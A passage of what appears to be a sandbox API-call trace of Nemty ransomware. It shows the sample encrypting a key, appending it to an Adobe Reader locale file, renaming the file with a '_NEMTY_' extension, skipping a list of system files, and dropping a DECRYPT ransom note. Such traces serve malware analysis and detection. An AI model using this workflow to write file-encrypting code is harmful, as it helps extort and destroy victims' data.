cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.727] Sleep (dwMilliseconds=0x5) [0182.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2090ef70, dwHighDateTime=0x1d561e8)) [0182.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2090ef70, dwHighDateTime=0x1d561e8)) [0182.736] GetLastError () returned 0x0 [0182.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.736] GetLastError () returned 0x0 [0182.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.736] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.736] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.737] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.737] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="HXUtNERp7HXP0a2D0rKFmGYjMemgG9xP4fiSi+s2s3+PC6HRsl7Qc4DKPkKg+ZFU\r\nFHRo5gSskFKl1OuT2Ru1Sx5d4wWGdeqiaorrO4T1TC823SknB+tRwegQPzFoU29+\r\nmOovUON7OMSCO72XobJNHTxjDUZt3Yc38XqN+9pkPbtNzcBwnPnjLAwrtoFEw0YX\r\n2N9105AdzImlDJR011pWBJ2TibZGGEDHuw6UJVV/6aBOGa+Sl1lA1PW4sAXeQVps\r\nMDgvto3ifRlSk3/340KazBykhPUvFFMIDgCcaRkcP+PFksJpf2OV5AetJniY8UUv\r\nrtwZXEyYGJoZ1At4XPk8iw==\r\n", pcchString=0x653e5dc) returned 1 [0182.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Weblink.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\weblink.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.737] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29184) returned 1 [0182.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7200) returned 0x6352c48 [0182.737] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.737] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7200, lpOverlapped=0x0) returned 1 [0182.741] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.741] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7200, lpOverlapped=0x0) returned 1 [0182.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.741] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200 [0182.741] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.742] CloseHandle (hObject=0x2e8) returned 1 [0182.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.742] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Weblink.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\weblink.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Weblink.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\weblink.rum._nemty_kgobjgd_")) returned 1 [0182.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.743] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2038dc90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2038dc90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x203b3df0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0182.743] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0182.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0182.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.744] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2038dc90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2038dc90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x203b3df0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0182.744] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0182.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0182.744] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0182.744] lstrcmpiW (lpString1="ru_RU", lpString2=".") returned 1 [0182.744] lstrcmpiW (lpString1="ru_RU", lpString2="..") returned 1 [0182.744] lstrcmpiW (lpString1="ru_RU", lpString2="...") returned 1 [0182.744] lstrcmpiW (lpString1="ru_RU", lpString2="windows") returned -1 [0182.744] lstrcmpiW (lpString1="ru_RU", lpString2="$RECYCLE.BIN") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="rsa") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="NTDETECT.COM") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="ntldr") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="MSDOS.SYS") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="IO.SYS") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="boot.ini") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="boot.ini") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="AUTOEXEC.BAT") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="ntuser.dat") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="desktop.ini") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="CONFIG.SYS") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="RECYCLER") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="BOOTSECT.BAK") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="bootmgr") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="programdata") returned 1 [0182.745] lstrcmpiW (lpString1="ru_RU", lpString2="appdata") returned 1 [0182.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru_RU", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0182.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru_RU", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ru_RU", lpUsedDefaultChar=0x0) returned 5 [0182.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru_RU", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0182.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ru_RU", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ru_RU", lpUsedDefaultChar=0x0) returned 5 [0182.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0182.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0182.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0182.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0182.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0182.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0182.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0182.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0182.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0182.748] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.748] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0182.749] CloseHandle (hObject=0x254) returned 1 [0182.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0182.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0182.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0182.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0182.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0182.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 